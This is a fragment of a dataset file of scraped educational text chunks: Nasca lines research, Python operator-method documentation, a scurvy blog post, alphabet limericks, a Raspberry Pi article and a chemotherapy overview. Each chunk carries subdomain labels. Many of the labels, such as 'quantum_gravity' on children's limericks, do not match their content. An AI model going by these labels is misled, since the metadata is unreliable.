"token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 7, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.387234"} {"text": "yet. \" his next step could establish statistically whether johnson is on the right track. with graduate student gregory smith, mabee will mark every verified water source in nasca valley on a map, then overlay a map of the geoglyphs and see if they match up. \" i think we ' ll find a high percentage, \" mabee says. \" but we must have direct evidence to see whether it ' s a significant number or a coincidence. \" until then, he wishes johnson would slow down a bit. anthony aveni ' s book on theories ( particularly his ) purporting to decode the mysterious nasca lines is between the lines : the mystery of the giant ground drawings of ancient nasca, peru, the university of texas press, 2000. the original research of archaeologist alfred kroeber, who was one of the first to study the ancient nascas, has recently been published for the first time : the archaeology and pottery of nazca, peru : alfred l. kroeber ' s 1926 expedition, a. l. kroeber, donald collier, patrick h. carmichael, altamira press, 1999. don proulx ' s nasca lines project web page : www - unix. oit. umass. edu / ~ proulx / nasca _ lines _ project. html", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4518078229332239, "token_count": 273, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 8, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.387830"} {"text": "the following methods can be defined to emulate numeric objects. methods corresponding to operations that are not supported by the particular kind of number implemented ( e. g., bitwise operations for non - integral numbers ) should be left undefined. %, divmod ( ) pow ( ) | ). for instance, to evaluate the expression x + y, where x is an instance of a class that has an _ _ add _ _ ( ) method, x. _ _ add _ _ ( y ) is called. the _ _ divmod _ _ ( ) method should be the equivalent to using _ _ floordiv _ _ ( ) and _ _ mod _ _ ( ) ; it should not be related to _ _ truediv _ _ ( ) ( described below ). note that _ _ pow _ _ ( ) should be defined to accept an optional third argument if the ternary version of the built - in pow ( ) function is to be supported. / ) is implemented by these methods. the _ _ truediv _ _ ( ) method is used when _ _ future _ _. divisionis in effect, otherwise _ _ div _ _ ( ) is used. if only one of these two methods is defined, the object will not support division in the alternate context ; typeerror will be raised instead. %, divmod ( ) pow ( ) | ) with reflected ( swapped ) operands. these functions are only called if the left operand does not support the corresponding operation. for instance, to evaluate the expression x - y, where y is an instance of a class that has an _ _ rsub _ _ ( ) method, y. _ _ rsub _ _ ( x ) is called. note that ternary pow ( ) will not try calling _ _ rpow _ _ ( ) ( the coercion rules would become too complicated ). | = ). these methods should attempt to do the operation in - place ( modifying self ) and return the result ( which could be, but does not have to be, self ). if a specific method is not defined, the augmented operation falls back to the normal methods. for instance, to evaluate the expression x + = y, where x is an instance of a class that has an _ _ iadd _ _ ( ) method, x. _ _ iadd _ _ ( y ) is called. if x is an instance of a class that does not define a _ _ iadd ( )", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5813903792226638, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.391910"} {"text": "instance of a class that has an _ _ iadd _ _ ( ) method, x. _ _ iadd _ _ ( y ) is called. if x is an instance of a class that does not define a _ _ iadd ( ) method, y. _ _ radd _ _ ( x ) are considered, as with the evaluation of x +, abs ( ) and noneif conversion is impossible. when the common type would be the type of other, it is sufficient to return none, since the interpreter will also ask the other object to attempt a coercion ( but sometimes, if the implementation of the other type cannot be changed, it is useful to do the conversion to the other type here ). coercion rules : to evaluate x op y, the following steps are taken ( where _ _ op _ _ ( ) and _ _ rop _ _ ( ) are the method names corresponding to op, e. g., if op is ` + ', _ _ add _ _ ( ) and _ _ radd _ _ ( ) are used ). if an exception occurs at any point, the evaluation is abandoned and exception handling takes over. x. _ _ coerce _ _ ( y ) ; skip to step 2 if the coercion returns x. _ _ op _ _ ( y ) ; otherwise, restore x and y to their value before step 1a. y. _ _ coerce _ _ ( x ) ; skip to step 3 if the coercion returns y. _ _ rop _ _ ( x ) ; otherwise, restore x and y to their value before step 2a. + ' and x is a sequence, sequence concatenation is invoked. * ' and one operand is a sequence and the other an integer, sequence repetition is invoked.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5247987648512951, "token_count": 366, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.392520"} {"text": "scurvy is a disease caused by a dietary deficiency of vitamin c ( ascorbic acid ). the disease has occurred with regular frequency throughout human history and prehistory in populations lacking fresh foods \u2026 deficiency of the vitamin causes a breakdown in the binding function of these tissues, producing a series of characteristic signs and symptoms : weakness, lethargy, irritability, anemia, purple spongy gums which bleed freely, loosening teeth, the reopening of healed scars \u2026 and hemorrhaging in the mucous membranes and skin. in severe cases the mortality rate is high. up until then, i \u2019 d believed that scars were stronger than regular skin. when in fact they ' re weaker. maybe this was something most everybody else knew, but it really shook me up. the mantra \u201c what doesn \u2019 t kill you makes you stronger \u201d is so satisfying. \u201c what doesn \u2019 t kill you leaves a scar that may weaken and rupture again if stressed \u201d is kind of scary. i got to thinking about this recently when i was doing a computer search to see if a paper i \u2019 d had published recently was showing up yet. only one other person with my last name is published in the medical literature, so it was quickest to type in just my last name to look for my papers. but it turns out that they \u2019 ve been slowly working backward in time to put medical articles into the citation system. which is why the last time i entered my name into pubmed, two articles written by my father appeared. my father was a statistician who collaborated with medical researchers, so it \u2019 s not surprising that he had some papers published under his name. but he died when i was five, and all i knew about his job is that it had something to do with computers. seeing his name pop up without warning like that was painful ; a reminder that he \u2019 s not here, and of how much he has missed. i had never even thought about the fact that we could have talked about my work. people often say that you never get over a loved one \u2019 s death. when i was much younger, i hated to hear this. i spent a long time trying to convince myself that my father \u2019 s death didn \u2019 t really have an effect on me. it happened when i was so young, after all. but things did sneak up on me. when i was driving down a street one day i caught sight of a little girl learning to ride a bicycle, her father running behind her,", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.46860034959523633, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.397195"} {"text": "on me. it happened when i was so young, after all. but things did sneak up on me. when i was driving down a street one day i caught sight of a little girl learning to ride a bicycle, her father running behind her, his hand on the back of her seat. suddenly i was so upset i had to pull over to the side of the road. then i remembered that my father had just started teaching me how to ride a bike the summer he died. after he was gone i had to do it myself : there was a big pothole in our driveway, and if i climbed on the bike at the top of it and rolled down, there was just enough momentum to get me started. i did it over and over again until i had it. once glimpsed, the knowledge that a person who loves you and takes care of you can disappear in an instant never goes away. it can teach you to appreciate people, but it also makes you very wary. the truth about what happens when something wounds you is that first there is pain and bleeding. then you start to heal, and a scar forms. a scar is vastly better than nothing ; at least the acute pain goes away, and you don \u2019 t bleed to death. but it \u2019 s never the same as it was. i think that human interaction is like vitamin c for the soul : get too little, and your psychic wounds can reopen. i guess that \u2019 s why i keep blogging.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.48263265929114735, "token_count": 299, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.397766"} {"text": "set of children \\ ' s games for halloween includes the following 5 games : jigsaw puzzle, shape puzzle, connect the dot, memory game and scratch game. this entertaining educational game for preschool kids, that helps to develop motor skills, hand - to - eye coordination skills, imagination and creativity. it aims to teach children shapes, image recognition and number pronunciation. matching games are a great way to improve your kids short - term memory skills, develop their concentration and cognitive skills! it was designed for children. all cards are laid face down, and they are flipped over by the player over each turn. users must then recall where them like princesses are throughout the set and touch them to create a match. it \\ ' s simple to use - - just drag the pieces to the right place to create the image. by erasing the top layer with a finger, the child discovers the hidden picture underneath. the goal is to move shapes into the outline of an object. once all of the puzzle pieces are in place, the object fills in with a compete image, and a voice gives some kind of encouragement, such as, \" good job! \" and etc. when you place the piece inside the puzzle \\ ' s outline, it snaps into place. connect the dot : this game allows your preschool - age child to practice numbers and image recognition. child simply touch the numbers in sequence, and it draws the line for you. each number is pronounced after pressing. the program is able to pronounce the numbers in 17 different languages : english, spanish, german, french, japanese, korean, russian, italian, dutch, finish, norwegian, swedish, danish, portuguese, hindi, chinese ( traditional ), chinese ( simplified ). when child reach the last number, the object fills in with a detailed cartooned image of the thing that you just traced. the game is optimized for android phones and tablets. it as a fun learning exercise for pre - schoolers. children will have hours of fun with this game. if you consider those resources have infringed upon your rights, please contact us, or read our detailed \" disclaimer \" if you want to upload apps on our website, just click here contact us : email @ example. com", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4765225526813602, "token_count": 457, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.400027"} {"text": "letter limericks \u2013 i know many of you are working on letter writing this time of year, so i thought dr. holly ' s \u201c letter limericks \u201d might be just the rhyme you need to put it in children ' s brains. the first is a letter called a with straight lines in every way. two lines point up top, to the bottom they drop, and another crosses the way. the second letter is b for baseball, baby, and beach. straight line down the side, two humps on the right \u2014 it looks like a fat bumble bee! after b comes c : cookies, celery, and cheese! like a smile big and wide turned on its side it \u2019 s easy to make c, you see! d is a letter that \u2019 s plump like a tummy with one round hump. a long line straight down, then go out and around for dig, dive, dip and dump! after d comes e. it \u2019 s shaped like a comb with three teeth. one line down the side, three more to the right for echoes, ears, eyeballs and eat! f is the next letter to name. it can bring with it fortune and fame. like e in design without the bottom line but it gets along fine all the same! after f comes g which is curvy and round just like c. when you reach the end stop, put a straight line across and your g will giggle with glee! h is a letter with pride. it has two long straight lines side by side then hip, hop, and higgle put another \u2018 cross the middle and your h will have nothing to hide! i comes after that, eating ice cream, and yet it \u2019 s not fat. one line stretches down, one lies on the ground and one goes on top \u2014 a flat hat! now jump, joke, and juggle \u2014 it \u2019 s j with lines both curvy and straight. the curve starts up top then like a hook drops and the straight line juts over the way! the letter k has quite a kick with a spine as straight as a stick. from the middle about two arms reach out for kangaroos, kindness, and kids! after k comes l it \u2019 s a letter with lots to tell. one line heads straight down, one sticks out on the ground like a chair with no legs \u2014 how swell! m is a letter with size, like two mountains side by side. two straight lines on the end two others point in making moms, milk, and", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.505753464193711, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.403968"} {"text": "straight down, one sticks out on the ground like a chair with no legs \u2014 how swell! m is a letter with size, like two mountains side by side. two straight lines on the end two others point in making moms, milk, and messes \u2014 oh, my! n is like m only thinner. it didn \u2019 t eat quite as much dinner \u2014 for nick and noelle two lines parallel and a diagonal one \u2018 cross the center. o is entirely round \u2014 not a single straight line to be found. like a wide open mouth saying oops! oh! or ouch! it makes oceans and oranges abound! the next of the letters is p for people and peanuts and please. let one straight line prop with a loop on the top and you \u2019 ll make lots of pumpkins and peas! q comes next without fail with quarters, quick questions, and quails : first a circle that \u2019 s fat then like the back of a cat a straight line sticks out like a tail. r is ever so clever. it \u2019 s p and k blended together : the top hoops about the bottom leg kicks out \u2014 for running and reading there \u2019 s no better! s is a letter with style for summer, sunshine, and smiles. go up and around then back around down like a snake that slithers for miles! t is terrific and true standing tall as all towers do. one straight line sits over, the other points lower for tigers, trees, and tickles too! u comes right after t. it also comes just before v \u2014 an upside down hump a straight line it bumps : unicorn, universe, unique! v is very healthy \u2014 it \u2019 s true! with vitamins and vegetables for you : two straight lines point down and meet at the ground for vacations and violins, too! w is just like 2 vs stuck together \u2014 like twins, you see. with why, when, and where? and who will be there? w makes words work with ease! x is the letter that \u2019 s next. not many words start with an x but x marks the spot with two straight lines that cross \u2014 x is never quite what you expect! the next - to - last letter is y for years and yes, give it a try! like a small v that sits on top of a stick reaching for the yellow sun in the sky! z comes last for a reason bringing zeal, zap, and zest to all seasons. one straight line slants down then at foot and at crown", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5276327982944569, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.404880"} {"text": "raspberry pi - retro computer of the future with sales in excess of one million in its first year, the raspberry pi foundation hopes its low - cost computer will enthuse a new generation of coders. it ' s a standard household scene. a 16 - year - old computer whizz ( that is, when it comes to playing games ) communicating and doing eight things at once on the machine, hits a brick wall when the computer starts to go wrong. mum finds nothing on the internet but jargon. dad, a former teacher, has no idea what to do. time to call in ' the geek '. everyone knows one. in his teens, he ( they ' re usually blokes ) spent hours taking computers apart and reprogramming them. now he ' s an it guru. the rest of us did ict at school ; some of us are good at typing. things are changing. this year, education secretary michael gove plans to introduce a new it curriculum that focuses more on computer science and less on secretarial skills. the british education system is notoriously slow to embrace change, though. whether it ' s today ' s children who will benefit or the children of future generations remains to be seen. something that may speed things up, though, is the new computer that looks like the sort of thing the geek might keep in his den, but sounds like something served up in the school canteen. the raspberry pi is an uncased, credit - card sized computer that can run off the mains or from a portable battery. developer the raspberry pi foundation says that it is individual children, not their schools, who will be given the computers. at schools, or at home, the kids will be able to use the raspberry pi like a desktop pc for gaming, spreadsheets, word - processing and to play videos. also like a desktop, their new machine will connect to tvs, games consoles and keyboards. most of all, the raspberry pi foundation hopes that these computers will encourage their young owners to program. \" we wanted a computer that people can do things with, not another one on which they just consume content, \" says foundation trustee robert mullins. mullins, from cambridge university ' s computer laboratory, and five other cambridge - based scientists, set up the raspberry pi foundation in 2009 to promote computer science in schools. he explains that today ' s desktop computers and laptops make programming difficult. \" computers are delivered with a closed", "subdomain_id": "subdomain_quantum_computing", "similarity_score": 0.48000720649095424, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.417826"} {"text": "computer laboratory, and five other cambridge - based scientists, set up the raspberry pi foundation in 2009 to promote computer science in schools. he explains that today ' s desktop computers and laptops make programming difficult. \" computers are delivered with a closed platform so it ' s difficult to do anything with them except consume, \" he says. another raspberry pi trustee, eben upton, used to be in charge of cambridge university ' s undergraduate computer - science admissions. in the early to mid 2000s, he noticed that fewer a level students were applying. there were fewer quality applicants, too. upton explains that, in the 1990s, experienced hobbyist programmers applied for computer science degrees at cambridge. by the 2000s he was finding that a typical applicant might only have done a bit of web design. \" the students hadn ' t used programmable hardware and just couldn ' t programme, \" he says. he explains that earlier generations had been brought up on amigas, bbc micros, zx spectrums and commodore 64s, low - powered computers with a fraction of the built - in entertainment that today ' s machines offer. to get the most out of these machines users had to get under the bonnet. today, tinkering with a computer is like taking the tv apart. there ' s a major crisis if anything goes wrong : lost files, emails and photographs ; important communications with friends, family and work colleagues, gone ; a \u00a3500 bill if you can ' t get it working again. \" if you ' re going to take a computer apart, you need something cheap, \" mullins adds. \" something you can programme and just leave as part of your project. \" the raspberry pi costs \u00a326. if you break or lose it, you can just get another. it ' s only \u00a320 for the newer model a, which has slightly less ram and only one usb port. there ' s no operating system on the computer, either ; it ' s stored on an sd card. \" if there ' s a glitch in the operating system you just rewrite the card or get another, \" rob mullins adds. the first batch of 10, 000 raspberry pis sold out, online, almost immediately. the prototype attracted ebay bids of more than \u00a33, 000. since the launch last february, geeks and tinkermen all over the world have gobbled up over a million pis for their diy computer projects. but despite their product ' s commercial potential, the foundation is determined", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4823939610335098, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.418847"} {"text": "than \u00a33, 000. since the launch last february, geeks and tinkermen all over the world have gobbled up over a million pis for their diy computer projects. but despite their product ' s commercial potential, the foundation is determined not to lose sight of its educational vision. in february 2011, ian livingstone, author of the government commissioned next gen report into the skills needed to transform the uk video games and visual effects industry, started criticising \" boring ict lessons that gave children no insight into how technology is actually created \". livingstone, games workshop founder and edios president, explained that with british manufacturing in decline and financial services in disarray, if the economy was to succeed, someone needed to empower creative people with the skills necessary to serve digital content to global audiences. \" code is absolutely essential to that, \" livingstone says. \" it ' s at the heart of everything we do in the digital world. it ' s not just about video games and visual effects, it ' s also about designing the next jet propulsion engine, or fighting cybercrime, or running financial services. \" google ' s eric schmidt, speaking at the edinburgh international television festival, gave the opinion that by teaching children how to use software rather than create it, schools were throwing away britain ' s great computing heritage. since then, industry leaders, educationalists and finally government figures came out in favour of curriculum change. in its response to the next gen report, the government said something about raspberry pi, too. \" much as the bbc micro inspired a generation of computer programmers in the early 1980s, the raspberry pi could provide the platform for teachers and pupils to gain hands - on programming experience. \" face the pi a raspberry pi computer looks like a pc motherboard and uses the sort of microchips usually found in mobile phones. it uses broadcom soc ; a 700mhz arm11 processor handles basic computations \u2013 inputs, outputs and calculations ; and there ' s also a videocore 4 graphics processing unit. these processors combine processing and multimedia capability into a small shell. they don ' t use too much power too quickly and keep the computer relatively cool. the original model has 512mb ram, 2 usb ports and an ethernet port. the cheaper model a has 256mb ram, one usb port and no ethernet connection. operating systems are mainly linux distributions, although there are other non - linux operating systems, for instance riscos. linux has low memory overheads, so it ' s possible to run a", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.48280692760325644, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.419848"} {"text": "256mb ram, one usb port and no ethernet connection. operating systems are mainly linux distributions, although there are other non - linux operating systems, for instance riscos. linux has low memory overheads, so it ' s possible to run a fully functional operating system on a simple device with no permanent storage. linux often comes with programming languages already installed. scratch and python work on the raspberry pi. it comes, like many of the earliest home computers, without peripherals. analogue tvs and other similar output devices connect through an rca jack. with the raspberry pi ' s hdmi connector users can hook up a high - definition television or other compatible device using an hdmi cable. exposed, general - purpose input / output connection points give hobbyists their chance to tinker. attachable usb hubs expand the number of available ports, allowing users to connect additional mice, keyboards, network adapters and external storage. there is no internal storage space. with attachable interface boards users can do even more with their computer. one such creation is the pi - face. designed by manchester university scientists, it ' s the same size as the raspberry pi itself and clips on top of the computer. using pi - face, the computer can read switches attached to it. users input the code and the raspberry pi drives the outputs, powering motors and robots, triggering cameras or using sensor networks \u2013 and indeed anything else the fiendishly clever, geekish mind can think of. \" you can plug in and control robots, scalextric cars or train sets, \" says manchester university ' s dr david rydenheard, and those are just the obvious uses. his manchester university colleague, dr andrew robinson, who designed the gadget, has thought about an automated insulin monitor that dials 999, and something similar that reorders food when the cupboard is bare. \" one youngster even suggested making a device that politely reminds you to put the toilet seat down after using it, \" robinson says. children at our lady ' s high school in preston use raspberry pis too. a group of 12 - year - olds wanted to monitor squirrel activity in the school grounds, but didn ' t want to leave their iphones in the playground. instead they hid a raspberry pi in a tree overnight, and programmed it to take a photo every time something moved nearby. \" three triple a batteries gave the computer enough power to run for eight hours, \" says ict teacher alan o ' donohoe.", "subdomain_id": "subdomain_quantum_computing", "similarity_score": 0.5021153492507779, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.420847"} {"text": "a raspberry pi in a tree overnight, and programmed it to take a photo every time something moved nearby. \" three triple a batteries gave the computer enough power to run for eight hours, \" says ict teacher alan o ' donohoe. \" the group collected working data to a memory card. it was just like using a digital camera. \" o ' donohoe has seen students turn a model barking dog from a charity shop into a vacuum cleaner and reprogram a 1970s remote control plastic truck to carry out more complex instructions than its makers ever intended. \" the toy no longer does do what its makers wanted it to do, \" o ' donohoe says, \" it does what we tell it. \" o ' donohoe doesn ' t have a class set of raspberry pis yet, but he ' s determined to get one. some 15, 000 raspberry pis will find their way to youngsters around the country over the next year. educational organisations coderdojo, code club, computing at schools, generating genius, teach first and ocr are currently deciding how best to distribute them. \" we want the computers in the hands of those children who will really benefit from owning one, \" rob mullins says. mullins envisages that for the new owners, using their raspberry pi will be like learning a musical instrument, \" you ' re tutored at school and then practise at home, \" he adds. music lessons have specialist teachers to teach them, though. next gen found that only one new teacher qualified with computer science as a main specialism, in 2010. a january 2012 royal society report said that only 35 per cent of all ict teachers were subject specialists. this january, the association for information technology in initial teacher training recorded a 41 per cent drop in computer science applicants. universities blame confusion over courses changing from ict to computer science and a reduction in allocated places, for the shortfall. things are starting to move on this. bcs, the chartered institute for it, has 50 bursaries of \u00a320, 000 available for high - flying it graduates who want to train as teachers. the government has asked ibm, facebook and microsoft to help design the training. the network computer science teaching excellence scheme will train 500 current it teachers over the next year. bcs hopes that half of those trained will subsequently run their own professional development courses for other teachers. there are some computer science specialists, like alan o ' donohoe, in schools. computing at schools", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4785149293205195, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.421959"} {"text": "500 current it teachers over the next year. bcs hopes that half of those trained will subsequently run their own professional development courses for other teachers. there are some computer science specialists, like alan o ' donohoe, in schools. computing at schools have 1, 000 of them on their books, according to ian livingstone. in england, however, there are 4. 1 million children in 16, 971 state primary schools and three million in 3, 127 secondaries. in the late 1990s and 2000s, it took a national strategy with targets, and around \u00a3150m a year for the best part of ten years, to get schools doing the sort of pe and sport that the government wanted. and that was with paid organisers in every school and thousands of specialist coaches to deliver activity. it still took years to get sport off the ground. and even then, some schools didn ' t really do much. computer science has no such funding or infrastructure behind it. the current government prefers initiative to come from those on the ground. the raspberry pi foundation has already started training teachers and children to use its computers. user manuals, online tutorials and classroom resources are imminent, and networks of interested geeks are already spreading the word. rob mullins sees after - school programming clubs as a way of kick - starting the computer science revolution. \" kids will find out that computing doesn ' t have to be about sitting on your own, communicating remotely, \" he says, \" get together with like - minded people and learn from each other. \" visit the iet ' s raspberry pi community page at http : / / bit. ly / eandt - pi - community since last february ' s launch, element14 \u2013 premier farnell ' s information portal, collaborative community and electronics store for electronic design engineers \u2013 has manufactured and delivered more than 500, 000 raspberry pis to enthusiasts around the world. \" if you were to stand all the element14 raspberry pi ' s end to end they would reach higher than the 24 miles austrian daredevil felix baumgartner skydived last year, \" an element14 spokesperson says. element 14 has released a series of exclusive accessories that enable owners to build extra functionality and capabilities into their projects. gertboard : an add - on gpio expansion board which allows raspberry pi users to connect to and control more advanced physical devices. wipi : wirelessly connects the raspberry pi to a network. piview : enables the direct connection of the", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4749203460617546, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.422924"} {"text": ": an add - on gpio expansion board which allows raspberry pi users to connect to and control more advanced physical devices. wipi : wirelessly connects the raspberry pi to a network. piview : enables the direct connection of the raspberry pi to vga monitors from the hdmi output. the piface digital : targeted at 11 - 16 year olds this new device stacks on top of the raspberry pi and connects it to physical devices such as lights, motors and sensors. a toy chicken squawks when dieters open the cupboard looking for a crafty snack. the chicken tweets any dietary indiscretions to your twitter followers. a design drone turns colour photos into black and white murals. the pi turns bitmap data into vectors that are then drawn with a robot controlled marker. musical beetroots connected to the pi by touch sensors create different sounds. health shield : the raspberry pi collects breathing, body temperature, heart rate and other health related data and transmits to apps via wi - fi. an aerospace engineer used a raspberry pi to run a voice - recognition robot arm. another voice - controlled robot makes the coffee. a rocket launcher terrorises staff in the programming office. the raspberry pi detects errors in software development and fires a foam missile at the offending employee. a raspberry pi detects the temperature of home - brewed beer and adjusts the fridge accordingly. pi in the sky : huge hydrogen balloon with raspberry pi connected to a webcam takes video footage 40, 000 feet up. highest ever live pictures. | to start a discussion topic about this article, please log in or register. | \" summer is on the way, so we turn our attention to a few leisurely pursuits - and some not - so leisurely ones... \" - sailing hybrids - the shape of ships to come? - rec introduced bi - facial solar panels for desert regions - eu should be stricter on carbon but renewables not the way - titanic ii - replica plans going full steam ahead - london \u2019 s it start - ups lining up for the technology week - siemens closes down last solar energy business after failing to sell - e & t magazine - debate - hs2, the need for speed [ 08 : 33 am 20 / 06 / 13 ] - transformers vector group [ 04 : 55 pm 19 / 06 / 13 ] - creating an iphone app [ 05 : 50 pm 17 / 06 / 13 ] - co2 is good [", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5551870920790203, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 6, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.423831"} {"text": "chemotherapy ( often abbreviated to chemo ) is the treatment of cancer with one or more cytotoxic antineoplastic drugs ( \" chemotherapeutic agents \" ) as part of a standardized regimen. chemotherapy may be given with a curative intent or it may aim to prolong life or to palliate symptoms. it is often used in conjunction with other cancer treatments, such as radiation therapy or surgery. certain chemotherapeutic agents also have a role in the treatment of other conditions, including ankylosing spondylitis, multiple sclerosis, crohn ' s disease, psoriasis, psoriatic arthritis, systemic lupus erythematosus, rheumatoid arthritis, and scleroderma. traditional chemotherapeutic agents act by killing cells that divide rapidly, one of the main properties of most cancer cells. this means that chemotherapy also harms cells that divide rapidly under normal circumstances : cells in the bone marrow, digestive tract, and hair follicles. this results in the most common side - effects of chemotherapy : myelosuppression ( decreased production of blood cells, hence also immunosuppression ), mucositis ( inflammation of the lining of the digestive tract ), and alopecia ( hair loss ). some newer anticancer drugs ( for example, various monoclonal antibodies ) are not indiscriminately cytotoxic, but rather target proteins that are abnormally expressed in cancer cells and that are essential for their growth. such treatments are often referred to as targeted therapy ( as distinct from classic chemotherapy ) and are often used alongside traditional chemotherapeutic agents in antineoplastic treatment regimens. an older and broader usage of the word chemotherapy encompassed any chemical treatment of disease ( for example, treatment of infections with antimicrobial agents ). however, this usage has become archaic. the first use of drugs to treat cancer was in the early 20th century, although it was not originally intended for that purpose. mustard gas was used as a chemical warfare agent during world war i and was discovered to be a potent suppressor of hematopoiesis ( blood production ). a similar family of compounds known as nitrogen mustards were studied further during world war ii at yale university. it was reasoned that an agent that damaged the rapidly growing white blood cells might have a similar effect on cancer. therefore, in december 1942, several patients with", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.560255207868944, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.451438"} {"text": "family of compounds known as nitrogen mustards were studied further during world war ii at yale university. it was reasoned that an agent that damaged the rapidly growing white blood cells might have a similar effect on cancer. therefore, in december 1942, several patients with advanced lymphomas ( cancers of certain white blood cells ) were given the drug by vein, rather than by breathing the irritating gas. their improvement, although temporary, was remarkable. concurrently, during a military operation in world war ii, following a german air raid on the italian harbour of bari, several hundred people were accidentally exposed to mustard gas, which had been transported there by the allied forces to prepare for possible retaliation in the event of german use of chemical warfare. the survivors were later found to have very low white blood cell counts. after wwii was over and the reports declassified, the experiences converged and led researchers to look for other substances that might have similar effects against cancer. the first chemotherapy drug to be developed from this line of research was mustine. since then, many other drugs have been developed to treat cancer, and drug development has exploded into a multibillion - dollar industry, although the principles and limitations of chemotherapy discovered by the early researchers still apply. the term chemotherapy the word \" chemotherapy \" without a modifier usually refers to cancer treatment, but its historical meaning is broader. the term was historically used for non - oncological references, such as the use of antibiotics ( antibacterial chemotherapy ). the first modern chemotherapeutic agent was arsphenamine, an arsenic compound discovered in 1909 and used to treat syphilis. this was later followed by sulfonamides ( sulfa drugs ) and penicillin. other uses that have been termed chemotherapy are the treatment of autoimmune diseases such as multiple sclerosis, dermatomyositis, polymyositis, lupus, and rheumatoid arthritis. | this section does not cite any references or sources. ( january 2008 ) | cancer is the uncontrolled growth of cells coupled with malignant behavior : invasion and metastasis. cancer is thought to be caused by the interaction between genetic susceptibility and environmental toxins. in the broad sense, most chemotherapeutic drugs work by impairing mitosis ( cell division ), effectively targeting fast - dividing cells. as these drugs cause damage to cells, they are termed cytotoxic. some drugs cause cells to undergo apoptosis ( so -", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4997413671483153, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.452437"} {"text": "enhance the efficacy of chemotherapy. | | this article needs additional citations for verification. ( july 2009 ) | combined modality chemotherapy is the use of drugs with other cancer treatments, such as radiation therapy or surgery. most cancers are now treated in this way. combination chemotherapy is a similar practice that involves treating a patient with a number of different drugs simultaneously. the drugs differ in their mechanism and side effects. the biggest advantage is minimising the chances of resistance developing to any one agent. in neoadjuvant chemotherapy ( preoperative treatment ) initial chemotherapy is designed to shrink the primary tumor, thereby rendering local therapy ( surgery or radiotherapy ) less destructive or more effective. adjuvant chemotherapy ( postoperative treatment ) can be used when there is little evidence of cancer present, but there is risk of recurrence. this can help reduce chances of relapse. it is also useful in killing any cancerous cells that have spread to other parts of the body. this is often effective as the newly growing tumors are fast - dividing, and therefore very susceptible. palliative chemotherapy is given without curative intent, but simply to decrease tumor load and increase life expectancy. for these regimens, a better toxicity profile is generally expected. all chemotherapy regimens require that the patient be capable of undergoing the treatment. performance status is often used as a measure to determine whether a patient can receive chemotherapy, or whether dose reduction is required. because only a fraction of the cells in a tumor die with each treatment ( fractional kill ), repeated doses must be administered to continue to reduce the size of the tumor. current chemotherapy regimens apply drug treatment in cycles, with the frequency and duration of treatments limited by toxicity to the patient. the majority of chemotherapeutic drugs can be divided into alkylating agents, antimetabolites, anthracyclines, plant alkaloids, topoisomerase inhibitors, and other antitumor agents. all of these drugs affect cell division or dna synthesis and function in some way. some newer agents do not directly interfere with dna. these include monoclonal antibodies and the new tyrosine kinase inhibitors, which directly target a molecular abnormality in certain types of cancer ( chronic myelogenous leukemia, gastrointestinal 